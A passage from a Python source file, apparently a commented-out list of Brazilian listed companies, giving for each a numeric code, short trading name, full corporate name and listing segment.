['19720', 'BRAZIL REALT', 'BRAZIL REALTY CIA SECURIT. CRÉD. IMOBILIÁRIOS', ' '],\n        #                 ['17922', 'BRAZILIAN FR', 'BRAZILIAN FINANCE E REAL ESTATE S.A.', ' '],\n        #                 ['18759', 'BRAZILIAN SC', 'BRAZILIAN SECURITIES CIA SECURITIZACAO', ' '],\n        #                 ['14206', 'BRB BANCO', 'BRB BCO DE BRASILIA S.A.', ' '],\n        #                 ['20672', 'BRC SECURIT', 'BRC SECURITIZADORA S.A.', ' '], ['16292', 'BRF SA', 'BRF S.A.', 'NM'],\n        #                 ['19984', 'BRPR 56 SEC', 'BRPR 56 SECURITIZADORA CRED IMOB S.A.', ' '],\n        #                 ['23817', 'BRQ', 'BRQ SOLUCOES EM INFORMATICA S.A.', 'MA'],\n        #                 ['20133', 'BV LEASING', 'BV LEASING - ARRENDAMENTO MERCANTIL S.A.', ' '],\n        #                 ['19119', 'CABINDA PART', 'CABINDA PARTICIPACOES S.A.', 'MB'],\n        #                 ['22683', 'CACHOEIRA', 'CACHOEIRA PAULISTA TRANSMISSORA ENERGIA S.A.', 'MB'],\n        #                 ['19135', 'CACONDE PART', 'CACONDE PARTICIPACOES S.A.', 'MB'],\n        #                 ['2100', 'CAMBUCI', 'CAMBUCI S.A.', ' '], ['24228', 'CAMIL', 'CAMIL ALIMENTOS S.A.', 'NM'],\n        #                 ['17493', 'CAPITALPART', 'CAPITALPART PARTICIPACOES S.A.', 'MB'],\n        #                 ['18821', 'CCR SA', 'CCR S.A.', 'NM'], ['24848', 'CEA MODAS', 'CEA MODAS S.A.', 'NM'],\n        #                 ['13854', 'CEMEPE', 'CEMEPE INVESTIMENTOS S.A.', ' '],\n        #                 ['20303', 'CEMIG DIST', 'CEMIG DISTRIBUICAO S.A.', ' '],\n        #                 ['20320', 'CEMIG GT', 'CEMIG GERACAO E TRANSMISSAO S.A.', ' '],\n        #                 ['2437', 'ELETROBRAS', 'CENTRAIS ELET BRAS S.A. - ELETROBRAS', 'N1'],\n        #                 ['2461', 'CELESC', 'CENTRAIS ELET DE SANTA CATARINA S.A.', 'N2'],\n        #                 ['24058', 'ALLIAR', 'CENTRO DE IMAGEM DIAGNOSTICOS S.A.', 'NM'],\n        #                 ['2577', 'CESP', 'CESP - CIA ENERGETICA DE SAO PAULO', 'N1'],\n        #                 ['14826', 'P.ACUCAR-CBD', 'CIA BRASILEIRA DE DISTRIBUICAO', 'NM'],\n        #                 ['16861', 'CASAN', 'CIA CATARINENSE DE AGUAS E SANEAM.-CASAN', ' '],\n        #                 ['21393', 'CELGPAR', 'CIA CELG DE PARTICIPACOES - CELGPAR', ' '],\n        #                 ['16616', 'CEG', 'CIA DISTRIB DE GAS DO RIO DE JANEIRO-CEG', ' '],\n        #                 ['14524', 'COELBA', 'CIA ELETRICIDADE EST. DA BAHIA - COELBA', ' '],\n        #                 ['14451', 'CEB', 'CIA ENERGETICA DE BRASILIA', ' '],\n        #                 ['2453', 'CEMIG', 'CIA ENERGETICA DE MINAS GERAIS - CEMIG', 'N1'],\n        #                 ['14362', 'CELPE', 'CIA ENERGETICA DE PERNAMBUCO - CELPE', ' '],\n        #                 ['14869', 'COELCE', 'CIA ENERGETICA DO CEARA - COELCE', ' '],\n        #                 ['18139', 'COSERN', 'CIA ENERGETICA DO RIO GDE NORTE - COSERN', ' '],\n        #                 ['20648', 'CEEE-D', 'CIA ESTADUAL DE DISTRIB ENER ELET-CEEE-D', 'N1'],\n        #                 ['3204', 'CEEE-GT', 'CIA ESTADUAL GER.TRANS.ENER.ELET-CEEE-GT', 'N1'],\n        #                 ['3069', 'FERBASA', 'CIA FERRO LIGAS DA BAHIA - FERBASA', 'N1'],\n        #                 ['3077', 'CEDRO', 'CIA FIACAO TECIDOS CEDRO CACHOEIRA', 'N1'],\n        #                 ['15636', 'COMGAS', 'CIA GAS DE SAO PAULO - COMGAS', ' '],\n        #                 ['3298', 'HABITASUL', 'CIA HABITASUL DE PARTICIPACOES', ' '],\n        #                 ['14761', 'CIA HERING', 'CIA HERING', 'NM'],\n        #                 ['3395', 'IND CATAGUAS', 'CIA INDUSTRIAL CATAGUASES', ' '],\n        #                 ['22691', 'LOCAMERICA', 'CIA LOCAÇÃO DAS AMÉRICAS', 'NM'],\n        #                 ['3654', 'MELHOR SP', 'CIA MELHORAMENTOS DE SAO PAULO', ' '],\n        #                 ['14311', 'COPEL', 'CIA PARANAENSE DE ENERGIA - COPEL', 'N1'],\n        #                 ['18708', 'PAR AL BAHIA', 'CIA PARTICIPACOES ALIANCA DA BAHIA', ' '],\n        #                 ['3824', 'PAUL F LUZ', 'CIA PAULISTA DE FORCA E LUZ', ' '],\n        #                 ['19275', 'CPFL PIRATIN', 'CIA PIRATININGA DE FORCA E LUZ', ' '],\n        #                 ['14443', 'SABESP', 'CIA SANEAMENTO BASICO EST SAO PAULO', 'NM'],\n        #                 ['19445', 'COPASA', 'CIA SANEAMENTO DE MINAS GERAIS-COPASA MG', 'NM'],\n        #                 ['18627', 'SANEPAR', 'CIA SANEAMENTO DO PARANA - SANEPAR', 'N2'],\n        #                 ['3115', 'SEG AL BAHIA', 'CIA SEGUROS ALIANCA DA BAHIA', ' '],\n        #                 ['4030', 'SID NACIONAL', 'CIA SIDERURGICA NACIONAL', ' '],\n        #                 ['3158', 'COTEMINAS', 'CIA TECIDOS NORTE DE MINAS COTEMINAS', ' '],\n        #                 ['4081', 'SANTANENSE', 'CIA TECIDOS SANTANENSE', ' '],\n        #                 ['18287', 'CIBRASEC', 'CIBRASEC - COMPANHIA BRASILEIRA DE SECURITIZACAO', ' '],\n        #                 ['21733', 'CIELO', 'CIELO S.A.', 'NM'], ['14818', 'CIMS', 'CIMS S.A.', ' '],\n        #                 ['23965', 'CINESYSTEM', 'CINESYSTEM S.A.', 'MA'],\n        #                 ['17973', 'COGNA ON', 'COGNA EDUCAÇÃO S.A.', 'NM'],\n        #                 ['22268', 'CONC RAPOSO', 'CONC AUTO RAPOSO TAVARES S.A.', ' '],\n        #                 ['23515', 'GRUAIRPORT', 'CONC DO AEROPORTO INTERNACIONAL DE GUARULHOS S.A.', 'MB'],\n        #                 ['20397', 'ECOVIAS', 'CONC ECOVIAS IMIGRANTES S.A.', ' '],\n        #                 ['19208', 'CONC RIO TER', 'CONC RIO-TERESOPOLIS S.A.', 'MB'],\n        #                 ['22411', 'ECOPISTAS', 'CONC ROD AYRTON SENNA E CARV PINTO S.A.-ECOPISTAS', ' '],\n        #                 ['21024', 'VIAOESTE', 'CONC ROD.OESTE SP VIAOESTE S.A', ' '],\n        #                 ['22721', 'ROD TIETE', 'CONC RODOVIAS DO TIETÊ S.A.', ' '],\n        #                 ['22071', 'RT BANDEIRAS', 'CONC ROTA DAS BANDEIRAS S.A.', ' '],\n        #                 ['20192', 'AUTOBAN', 'CONC SIST ANHANG-BANDEIRANT S.A. AUTOBAN', ' '],\n        #                 ['4693', 'ODERICH', 'CONSERVAS ODERICH S.A.', ' '],\n        #                 ['4707', 'ALFA CONSORC', 'CONSORCIO ALFA DE ADMINISTRACAO S.A.', ' '],\n        #                 ['4723', 'CONST A LIND', 'CONSTRUTORA ADOLPHO LINDENBERG S.A.', ' '],\n        #                 ['21148', 'TENDA', 'CONSTRUTORA TENDA S.A.', 'NM'],\n        #                 ['4863', 'COR RIBEIRO', 'CORREA RIBEIRO S.A. COMERCIO E INDUSTRIA', ' '],\n        #                 ['23485', 'COSAN LOG', 'COSAN LOGISTICA S.A.', 'NM'], ['19836', 'COSAN', 'COSAN S.A.', 'NM'],\n        #                 ['18660', 'CPFL ENERGIA', 'CPFL ENERGIA S.A.', 'NM'],\n        #                 ['20540', 'CPFL RENOVAV', 'CPFL ENERGIAS RENOVÁVEIS S.A.', 'NM'],\n        #                 ['18953', 'CPFL GERACAO', 'CPFL GERACAO DE ENERGIA S.A.', ' '],\n        #                 ['20630', 'CR2', 'CR2 EMPREENDIMENTOS IMOBILIARIOS S.A.', ' '],\n        #                 ['20044', 'CSU CARDSYST', 'CSU CARDSYSTEM S.A.', 'NM'],\n        #                 ['23981', 'CTC S.A.', 'CTC - CENTRO DE TECNOLOGIA CANAVIEIRA S.A.', 'MA'],\n        #                 ['18376', 'TRAN PAULIST', 'CTEEP - CIA TRANSMISSÃO ENERGIA ELÉTRICA PAULISTA', 'N1'],\n        #                 ['23310', 'CVC BRASIL', 'CVC BRASIL OPERADORA E AGÊNCIA DE VIAGENS S.A.', 'NM'],\n        #                 ['14460', 'CYRELA REALT', 'CYRELA BRAZIL REALTY S.A.EMPREEND E PART', 'NM'],\n        #                 ['21040', 'CYRE COM-CCP', 'CYRELA COMMERCIAL PROPERT S.A. EMPR PART', 'NM'],\n        #                 ['19623', 'DASA', 'DIAGNOSTICOS DA AMERICA S.A.', ' '],\n        #                 ['14214', 'DIBENS LSG', 'DIBENS LEASING S.A. - ARREND.MERCANTIL', ' '],\n        #                 ['9342', 'DIMED', 'DIMED S.A. DISTRIBUIDORA DE MEDICAMENTOS', ' '],\n        #                 ['21350', 'DIRECIONAL', 'DIRECIONAL ENGENHARIA S.A.', 'NM'],\n        #                 ['5207', 'DOHLER', 'DOHLER S.A.', ' '], ['23493', 'DOMMO', 'DOMMO ENERGIA S.A.', ' '],\n        #                 ['18597', 'DTCOM-DIRECT', 'DTCOM - DIRECT TO COMPANY S.A.', ' '],\n        #                 ['21091', 'DURATEX', 'DURATEX S.A.', 'NM'],\n        #                 ['21741', 'ECO SEC AGRO', 'ECO SECURITIZADORA DIREITOS CRED AGRONEGÓCIO S.A.', 'MB'],\n        #                 ['21903', 'ECON', 'ECORODOVIAS CONCESSÕES E SERVIÇOS S.A.', ' '],\n        #                 ['19453', 'ECORODOVIAS', 'ECORODOVIAS INFRAESTRUTURA E LOGÍSTICA S.A.', 'NM'],\n        #                 ['19763', 'ENERGIAS BR', 'EDP - ENERGIAS DO BRASIL S.A.', 'NM'],\n        #                 ['15342', 'ESCELSA', 'EDP ESPIRITO SANTO DISTRIBUIÇÃO DE ENERGIA S.A.', ' '],\n        #                 ['16985', 'EBE', 'EDP SÃO PAULO DISTRIBUIÇÃO DE ENERGIA S.A.', ' '],\n        #                 ['5380', 'ACO ALTONA', 'ELECTRO ACO ALTONA S.A.', ' '],\n        #                 ['4359', 'ELEKEIROZ', 'ELEKEIROZ S.A.', ' '], ['17485', 'ELEKTRO', 'ELEKTRO REDES S.A.', ' '],\n        #                 ['15784', 'ELETROPAR', 'ELETROBRÁS PARTICIPAÇÕES S.A. - ELETROPAR', ' '],\n        #                 ['14176', 'ELETROPAULO', 'ELETROPAULO METROP. ELET. SAO PAULO S.A.', ' '],\n        #                 ['16993', 'EMAE', 'EMAE - EMPRESA METROP.AGUAS ENERGIA S.A.', ' '],\n        #                 ['20087', 'EMBRAER', 'EMBRAER S.A.', 'NM'],\n        #                 ['19011', 'ECONORTE', 'EMPRESA CONC RODOV DO NORTE S.A.ECONORTE', ' '],\n        #                 ['16497', 'ENCORPAR', 'EMPRESA NAC COM REDITO PART S.A.ENCORPAR', ' '],\n        #                 ['22365', 'ENAUTA PART', 'ENAUTA PARTICIPAÇÕES S.A.', 'NM'],\n        #                 ['5576', 'ENERSUL', 'ENERGISA MATO GROSSO DO SUL - DIST DE ENERGIA S.A.', ' '],\n        #                 ['14605', 'ENERGISA MT', 'ENERGISA MATO GROSSO-DISTRIBUIDORA DE ENERGIA S/A', ' '],\n        #                 ['15253', 'ENERGISA', 'ENERGISA S.A.', 'N2'], ['21237', 'ENEVA', 'ENEVA S.A', 'NM'],\n        #                 ['17329', 'ENGIE BRASIL', 'ENGIE BRASIL ENERGIA S.A.', 'NM'],\n        #                 ['20010', 'EQUATORIAL', 'EQUATORIAL ENERGIA S.A.', 'NM'],\n        #                 ['16608', 'EQTLMARANHAO', 'EQUATORIAL MARANHÃO DISTRIBUIDORA DE ENERGIA S.A.', 'MB'],\n        #                 ['18309', 'EQTL PARA', 'EQUATORIAL PARA DISTRIBUIDORA DE ENERGIA S.A.', ' '],\n        #                 ['5762', 'ETERNIT', 'ETERNIT S.A.', 'NM'],\n        #                 ['5770', 'EUCATEX', 'EUCATEX S.A. INDUSTRIA E COMERCIO', 'N1'],\n        #                 ['20524', 'EVEN', 'EVEN CONSTRUTORA E INCORPORADORA S.A.', 'NM'],\n        #                 ['1570', 'EXCELSIOR', 'EXCELSIOR ALIMENTOS S.A.', ' '],\n        #                 ['20770', 'EZTEC', 'EZ TEC EMPREEND. E PARTICIPACOES S.A.', 'NM'],\n        #                 ['22977', 'FGENERGIA', 'FERREIRA GOMES ENERGIA S.A.', ' '],\n        #                 ['15369', 'FER C ATLANT', 'FERROVIA CENTRO-ATLANTICA S.A.', ' '],\n        #                 ['20621', 'FER HERINGER', 'FERTILIZANTES HERINGER S.A.', 'NM'],\n        #                 ['3891', 'ALFA FINANC', 'FINANCEIRA ALFA S.A.- CRED FINANC E INVS', ' '],\n        #                 ['6076', 'FINANSINOS', 'FINANSINOS S.A.- CREDITO FINANC E INVEST', ' '],\n        #                 ['21881', 'FLEURY', 'FLEURY S.A.', 'NM'],\n        #                 ['24350', 'FLEX S/A', 'FLEX GESTÃO DE RELACIONAMENTOS S.A.', 'MA'],\n        #                 ['6211', 'FRAS-LE', 'FRAS-LE S.A.', 'N1'], ['16101', 'GAFISA', 'GAFISA S.A.', 'NM'],\n        #                 ['22764', 'GAIA AGRO', 'GAIA AGRO SECURITIZADORA S.A.', ' '],\n        #                 ['20222', 'GAIA SECURIT', 'GAIA SECURITIZADORA S.A.', 'MB'],\n        #                 ['17965', 'GAMA PART', 'GAMA PARTICIPACOES S.A.', 'MB'],\n        #                 ['21008', 'GENERALSHOPP', 'GENERAL SHOPPING E OUTLETS DO BRASIL S.A.', 'NM'],\n        #                 ['3980', 'GERDAU', 'GERDAU S.A.', 'N1'],\n        #                 ['19569', 'GOL', 'GOL LINHAS AEREAS INTELIGENTES S.A.', 'N2'],\n        #                 ['80020', 'GP INVEST', 'GP INVESTMENTS. LTD.', 'DR3'],\n        #                 ['16632', 'GPC PART', 'GPC PARTICIPACOES S.A.', ' '],\n        #                 ['4537', 'GRAZZIOTIN', 'GRAZZIOTIN S.A.', ' '], ['19615', 'GRENDENE', 'GRENDENE S.A.', 'NM'],\n        #                 ['24694', 'CENTAURO', 'GRUPO SBF SA', 'NM'],\n        #                 ['4669', 'GUARARAPES', 'GUARARAPES CONFECCOES S.A.', ' '],\n        #                 ['13366', 'HAGA S/A', 'HAGA S.A. INDUSTRIA E COMERCIO', ' '],\n        #                 ['24392', 'HAPVIDA', 'HAPVIDA PARTICIPACOES E INVESTIMENTOS SA', 'NM'],\n        #                 ['20877', 'HELBOR', 'HELBOR EMPREENDIMENTOS S.A.', 'NM'],\n        #                 ['6629', 'HERCULES', 'HERCULES S.A. FABRICA DE TALHERES', ' '],\n        #                 ['6700', 'HOTEIS OTHON', 'HOTEIS OTHON S.A.', ' '], ['21431', 'HYPERA', 'HYPERA S.A.', 'NM'],\n        #                 ['18414', 'IDEIASNET', 'IDEIASNET S.A.', ' '], ['6815', 'IGB S/A', 'IGB ELETRÔNICA S/A', ' '],\n        #                 ['23175', 'IGUA SA', 'IGUA SANEAMENTO S.A.', 'MA'],\n        #                 ['20494', 'IGUATEMI', 'IGUATEMI EMPRESA DE SHOPPING CENTERS S.A', 'NM'],\n        #                 ['12319', 'J B DUARTE', 'INDUSTRIAS J B DUARTE S.A.', ' '],\n        #                 ['7510', 'INDS ROMI', 'INDUSTRIAS ROMI S.A.', 'NM'],\n        #                 ['7595', 'INEPAR', 'INEPAR S.A. INDUSTRIA E CONSTRUCOES', ' '],\n        #                 ['17558', 'SELECTPART', 'INNCORP S.A.', 'MB'],\n        #                 ['24090', 'IHPARDINI', 'INSTITUTO HERMES PARDINI S.A.', 'NM'],\n        #                 ['24279', 'INTER SA', 'INTER CONSTRUTORA E INCORPORADORA S.A.', 'MA'],\n        #                 ['23574', 'IMC S/A', 'INTERNATIONAL MEAL COMPANY ALIMENTACAO S.A.', 'NM'],\n        #                 ['6041', 'INVEST BEMGE', 'INVESTIMENTOS BEMGE S.A.', ' '],\n        #                 ['18775', 'INVEPAR', 'INVESTIMENTOS E PARTICIP. EM INFRA S.A. - INVEPAR', 'MB'],\n        #                 ['11932', 'IOCHP-MAXION', 'IOCHPE MAXION S.A.', 'NM'],\n        #                 ['2429', 'IRANI', 'IRANI PAPEL E EMBALAGEM S.A.', ' '],\n        #                 ['24180', 'IRBBRASIL RE', 'IRB - BRASIL RESSEGUROS S.A.', 'NM'],\n        #                 ['19364', 'ITAPEBI', 'ITAPEBI GERACAO DE ENERGIA S.A.', ' '],\n        #                 ['19348', 'ITAUUNIBANCO', 'ITAU UNIBANCO HOLDING S.A.', 'N1'],\n        #                 ['7617', 'ITAUSA', 'ITAUSA INVESTIMENTOS ITAU S.A.', 'N1'],\n        #                 ['21156', 'J.MACEDO', 'J. MACEDO S.A.', ' '], ['20575', 'JBS', 'JBS S.A.', 'NM'],\n        #                 ['8672', 'JEREISSATI', 'JEREISSATI PARTICIPACOES S.A.', ' '],\n        #                 ['20605', 'JHSF PART', 'JHSF PARTICIPACOES S.A.', 'NM'],\n        #                 ['7811', 'JOAO FORTES', 'JOAO FORTES ENGENHARIA S.A.', ' '],\n        #                 ['13285', 'JOSAPAR', 'JOSAPAR-JOAQUIM OLIVEIRA S.A. - PARTICIP', ' '],\n        #                 ['22020', 'JSL', 'JSL S.A.', 'NM'], ['4146', 'KARSTEN', 'KARSTEN S.A.', ' '],\n        #                 ['7870', 'KEPLER WEBER', 'KEPLER WEBER S.A.', ' '],\n        #                 ['12653', 'KLABIN S/A', 'KLABIN S.A.', 'N2'],\n        #                 ['24872', 'LIFEMED', 'LIFEMED INDUSTRIAL EQUIP. DE ART. MÉD. HOSP. S.A.', 'MA'],\n        #                 ['19879', 'LIGHT S/A', 'LIGHT S.A.', 'NM'],\n        #                 ['8036', 'LIGHT', 'LIGHT SERVICOS DE ELETRICIDADE S.A.', ' '],\n        #                 ['23035', 'LINX', 'LINX S.A.', 'NM'], ['15091', 'LITEL', 'LITEL PARTICIPACOES S.A.', 'MB'],\n        #                 ['24759', 'LITELA', 'LITELA PARTICIPAÇÕES S.A.', 'MB'],\n        #                 ['19739', 'LOCALIZA', 'LOCALIZA RENT A CAR S.A.', 'NM'],\n        #                 ['24910', 'LOCAWEB', 'LOCAWEB SERVIÇOS DE INTERNET S.A.', 'NM'],\n        #                 ['23272', 'LOG COM PROP', 'LOG COMMERCIAL PROPERTIES', 'NM'],\n        #                 ['20710', 'LOG-IN', 'LOG-IN LOGISTICA INTERMODAL S.A.', 'NM'],\n        #                 ['8087', 'LOJAS AMERIC', 'LOJAS AMERICANAS S.A.', 'N1'],\n        #                 ['8133', 'LOJAS RENNER', 'LOJAS RENNER S.A.', 'NM'], ['17434', 'LONGDIS', 'LONGDIS S.A.', 'MB'],\n        #                 ['20370', 'LOPES BRASIL', 'LPS BRASIL - CONSULTORIA DE IMOVEIS S.A.', 'NM'],\n        #                 ['20060', 'LUPATECH', 'LUPATECH S.A.', 'NM'],\n        #                 ['20338', 'M.DIASBRANCO', 'M.DIAS BRANCO S.A. IND COM DE ALIMENTOS', 'NM'],\n        #                 ['23612', 'MAESTROLOC', 'MAESTRO LOCADORA DE VEICULOS S.A.', 'MA'],\n        #                 ['22470', 'MAGAZ LUIZA', 'MAGAZINE LUIZA S.A.', 'NM'],\n        #                 ['8575', 'METAL LEVE', 'MAHLE-METAL LEVE S.A.', 'NM'],\n        #                 ['8397', 'MANGELS INDL', 'MANGELS INDUSTRIAL S.A.', ' '],\n        #                 ['8427', 'ESTRELA', 'MANUFATURA DE BRINQUEDOS ESTRELA S.A.', ' '],\n        #                 ['8451', 'MARCOPOLO', 'MARCOPOLO S.A.', 'N2'],\n        #                 ['20788', 'MARFRIG', 'MARFRIG GLOBAL FOODS S.A.', 'NM'],\n        #                 ['22055', 'LOJAS MARISA', 'MARISA LOJAS S.A.', 'NM'],\n        #                 ['8540', 'MERC FINANC', 'MERCANTIL BRASIL FINANC S.A. C.F.I.', ' '],\n        #                 ['20613', 'METALFRIO', 'METALFRIO SOLUTIONS S.A.', 'NM'],\n        #                 ['8605', 'METAL IGUACU', 'METALGRAFICA IGUACU S.A.', ' '],\n        #                 ['8656', 'GERDAU MET', 'METALURGICA GERDAU S.A.', 'N1'],\n        #                 ['13439', 'RIOSULENSE', 'METALURGICA RIOSULENSE S.A.', ' '],\n        #                 ['8753', 'METISA', 'METISA METALURGICA TIMBOENSE S.A.', ' '],\n        #                 ['22942', 'MGI PARTICIP', 'MGI - MINAS GERAIS PARTICIPAÇÕES S.A.', ' '],\n        #                 ['22012', 'MILLS', 'MILLS ESTRUTURAS E SERVIÇOS DE ENGENHARIA S.A.', 'NM'],\n        #                 ['8818', 'MINASMAQUINA', 'MINASMAQUINAS S.A.', ' '], ['20931', 'MINERVA', 'MINERVA S.A.', 'NM'],\n        #                 ['13765', 'MINUPAR', 'MINUPAR PARTICIPACOES S.A.', ' '],\n        #                 ['24902', 'MITRE REALTY', 'MITRE REALTY EMPREENDIMENTOS E PARTICIPAÇÕES S.A.', 'NM'],\n        #                 ['17914', 'MMX MINER', 'MMX MINERACAO E METALICOS S.A.', 'NM'],\n        #                 ['8893', 'MONT ARANHA', 'MONTEIRO ARANHA S.A.', ' '],\n        #                 ['21067', 'MOURA DUBEUX', 'MOURA DUBEUX ENGENHARIA S/A', 'NM'],\n        #                 ['23825', 'MOVIDA', 'MOVIDA PARTICIPACOES SA', 'NM'],\n        #                 ['17949', 'MRS LOGIST', 'MRS LOGISTICA S.A.', 'MB'],\n        #                 ['20915', 'MRV', 'MRV ENGENHARIA E PARTICIPACOES S.A.', 'NM'],\n        #                 ['20982', 'MULTIPLAN', 'MULTIPLAN - EMPREEND IMOBILIARIOS S.A.', 'N2'],\n        #                 ['5312', 'MUNDIAL', 'MUNDIAL S.A. - PRODUTOS DE CONSUMO', ' '],\n        #                 ['24783', 'GRUPO NATURA', 'NATURA &CO HOLDING S.A.', 'NM'],\n        #                 ['19550', 'NATURA', 'NATURA COSMETICOS S.A.', ' '],\n        #                 ['15539', 'NEOENERGIA', 'NEOENERGIA S.A.', 'NM'],\n        #                 ['9083', 'NORDON MET', 'NORDON INDUSTRIAS METALURGICAS S.A.', ' '],\n        #                 ['22985', 'NORTCQUIMICA', 'NORTEC QUÍMICA S.A.', 'MA'],\n        #                 ['24384', 'INTERMEDICA', 'NOTRE DAME INTERMEDICA PARTICIPACOES SA', 'NM'],\n        #                 ['21334', 'NUTRIPLANT', 'NUTRIPLANT INDUSTRIA E COMERCIO S.A.', 'MA'],\n        #                 ['22390', 'OCTANTE SEC', 'OCTANTE SECURITIZADORA S.A.', ' '],\n        #                 ['20125', 'ODONTOPREV', 'ODONTOPREV S.A.', 'NM'], ['11312', 'OI', 'OI S.A.', 'N1'],\n        #                 ['23426', 'OMEGA GER', 'OMEGA GERAÇÃO S.A.', 'NM'],\n        #                 ['16942', 'OPPORT ENERG', 'OPPORTUNITY ENERGIA E PARTICIPACOES S.A.', 'MB'],\n        #                 ['21342', 'OSX BRASIL', 'OSX BRASIL S.A.', 'NM'],\n        #                 ['22250', 'OURINVESTSEC', 'OURINVEST SECURITIZADORA SA', ' '],\n        #                 ['23507', 'OUROFINO S/A', 'OURO FINO SAUDE ANIMAL PARTICIPACOES S.A.', 'NM'],\n        #                 ['23280', 'OURO VERDE', 'OURO VERDE LOCACAO E SERVICO S.A.', ' '],\n        #                 ['94', 'PANATLANTICA', 'PANATLANTICA S.A.', ' '], ['20729', 'PARANA', 'PARANA BCO S.A.', ' '],\n        #                 ['9393', 'PARANAPANEMA', 'PARANAPANEMA S.A.', 'NM'],\n        #                 ['18236', 'PATRIA SEC', 'PATRIA CIA SECURITIZADORA DE CRED IMOB', ' '],\n        #                 ['13773', 'PORTOBELLO', 'PBG S/A', 'NM'],\n        #                 ['21644', 'PDG SECURIT', 'PDG COMPANHIA SECURITIZADORA', ' '],\n        #                 ['20478', 'PDG REALT', 'PDG REALTY S.A. EMPREEND E PARTICIPACOES', 'NM'],\n        #                 ['22187', 'PETRORIO', 'PETRO RIO S.A.', 'NM'],\n        #                 ['24295', 'PETROBRAS BR', 'PETROBRAS DISTRIBUIDORA S/A', 'NM'],\n        #                 ['9512', 'PETROBRAS', 'PETROLEO BRASILEIRO S.A. PETROBRAS', 'N2'],\n        #                 ['9539', 'PETTENATI', 'PETTENATI S.A. INDUSTRIA TEXTIL', ' '],\n        #                 ['13471', 'PLASCAR PART', 'PLASCAR PARTICIPACOES INDUSTRIAIS S.A.', ' '],\n        #                 ['22160', 'POLO CAP SEC', 'POLO CAPITAL SECURITIZADORA S.A', ' '],\n        #                 ['13447', 'POLPAR', 'POLPAR S.A.', ' '], ['19658', 'POMIFRUTAS', 'POMIFRUTAS S/A', 'NM'],\n        #                 ['16659', 'PORTO SEGURO', 'PORTO SEGURO S.A.', 'NM'],\n        #                 ['23523', 'PORTO VM', 'PORTO SUDESTE V.M. S.A.', ' '],\n        #                 ['20362', 'POSITIVO TEC', 'POSITIVO TECNOLOGIA S.A.', 'NM'],\n        #                 ['80152', 'PPLA', 'PPLA PARTICIPATIONS LTD.', 'DR3'],\n        #                 ['24546', 'PRATICA', 'PRATICA KLIMAQUIP INDUSTRIA E COMERCIO SA', 'M2'],\n        #                 ['24236', 'PRINER', 'PRINER SERVIÇOS INDUSTRIAIS S.A.', 'NM'],\n        #                 ['19232', 'PROMAN', 'PRODUTORES ENERGET.DE MANSO S.A.- PROMAN', 'MB'],\n        #                 ['20346', 'PROFARMA', 'PROFARMA DISTRIB PROD FARMACEUTICOS S.A.', 'NM'],\n        #                 ['18333', 'PROMPT PART', 'PROMPT PARTICIPACOES S.A.', 'MB'],\n        #                 ['22497', 'QUALICORP', 'QUALICORP CONSULTORIA E CORRETORA DE SEGUROS S.A.', 'NM'],\n        #                 ['23302', 'QUALITY SOFT', 'QUALITY SOFTWARE S.A.', 'MA'],\n        #                 ['5258', 'RAIADROGASIL', 'RAIA DROGASIL S.A.', 'NM'],\n        #                 ['23230', 'RAIZEN ENERG', 'RAIZEN ENERGIA S.A.', ' '],\n        #                 ['14109', 'RANDON PART', 'RANDON S.A. IMPLEMENTOS E PARTICIPACOES', 'N1'],\n        #                 ['18406', 'RBCAPITALRES', 'RB CAPITAL COMPANHIA DE SECURITIZAÇÃO', 'MB'],\n        #                 ['18430', 'WTORRE PIC', 'REAL AI PIC SEC DE CREDITOS IMOBILIARIO S.A.', ' '],\n        #                 ['12572', 'RECRUSUL', 'RECRUSUL S.A.', ' '],\n        #                 ['3190', 'REDE ENERGIA', 'REDE ENERGIA PARTICIPAÇÕES S.A.', ' '],\n        #                 ['9989', 'PET MANGUINH', 'REFINARIA DE PETROLEOS MANGUINHOS S.A.', ' '],\n        #                 ['21636', 'RENOVA', 'RENOVA ENERGIA S.A.', 'N2'],\n        #                 ['21440', 'LE LIS BLANC', 'RESTOQUE COMÉRCIO E CONFECÇÕES DE ROUPAS S.A.', 'NM'],\n        #                 ['16527', 'AES SUL', 'RGE SUL DISTRIBUIDORA DE ENERGIA S.A.', ' '],\n        #                 ['18368', 'GER PARANAP', 'RIO PARANAPANEMA ENERGIA S.A.', ' '],\n        #                 ['20451', 'RNI', 'RNI NEGÓCIOS IMOBILIÁRIOS S.A.', 'NM'],\n        #                 ['23167', 'ROD COLINAS', 'RODOVIAS DAS COLINAS S.A.', ' '],\n        #                 ['16306', 'ROSSI RESID', 'ROSSI RESIDENCIAL S.A.', 'NM'],\n        #                 ['15300', 'ALL NORTE', 'RUMO MALHA NORTE S.A.', 'MB'],\n        #                 ['17930', 'ALL PAULISTA', 'RUMO MALHA PAULISTA S.A.', 'MB'],\n        #                 ['17450', 'RUMO S.A.', 'RUMO S.A.', 'NM'],\n        #                 ['23540', 'SALUS INFRA', 'SALUS INFRAESTRUTURA PORTUARIA SA', ' '],\n        #                 ['19593', 'SANESALTO', 'SANESALTO SANEAMENTO S.A.', ' '],\n        #                 ['12696', 'SANSUY', 'SANSUY S.A. INDUSTRIA DE PLASTICOS', ' '],\n        #                 ['14923', 'SANTHER', 'SANTHER FAB DE PAPEL STA THEREZINHA S.A.', ' '],\n        #                 ['23388', 'STO ANTONIO', 'SANTO ANTONIO ENERGIA S.A.', ' '],\n        #                 ['17892', 'SANTOS BRP', 'SANTOS BRASIL PARTICIPACOES S.A.', 'NM'],\n        #                 ['13781', 'SAO CARLOS', 'SAO CARLOS EMPREEND E PARTICIPACOES S.A.', 'NM'],\n        #                 ['20516', 'SAO MARTINHO', 'SAO MARTINHO S.A.', 'NM'],\n        #                 ['9415', 'SPTURIS', 'SAO PAULO TURISMO S.A.', ' '],\n        #                 ['10472', 'SARAIVA LIVR', 'SARAIVA LIVREIROS S.A. - EM RECUPERAÇÃO JUDICIAL', 'N2'],\n        #                 ['14664', 'SCHULZ', 'SCHULZ S.A.', ' '], ['23221', 'SER EDUCA', 'SER EDUCACIONAL S.A.', 'NM'],\n        #                 ['12823', 'ALIPERTI', 'SIDERURGICA J. L. ALIPERTI S.A.', ' '],\n        #                 ['22799', 'SINQIA', 'SINQIA S.A.', 'NM'], ['20745', 'SLC AGRICOLA', 'SLC AGRICOLA S.A.', 'NM'],\n        #                 ['24260', 'SMART FIT', 'SMARTFIT ESCOLA DE GINÁSTICA E DANÇA S.A.', 'M2'],\n        #                 ['24252', 'SMILES', 'SMILES FIDELIDADE S.A.', 'NM'],\n        #                 ['10880', 'SONDOTECNICA', 'SONDOTECNICA ENGENHARIA SOLOS S.A.', ' '],\n        #                 ['10960', 'SPRINGER', 'SPRINGER S.A.', ' '],\n        #                 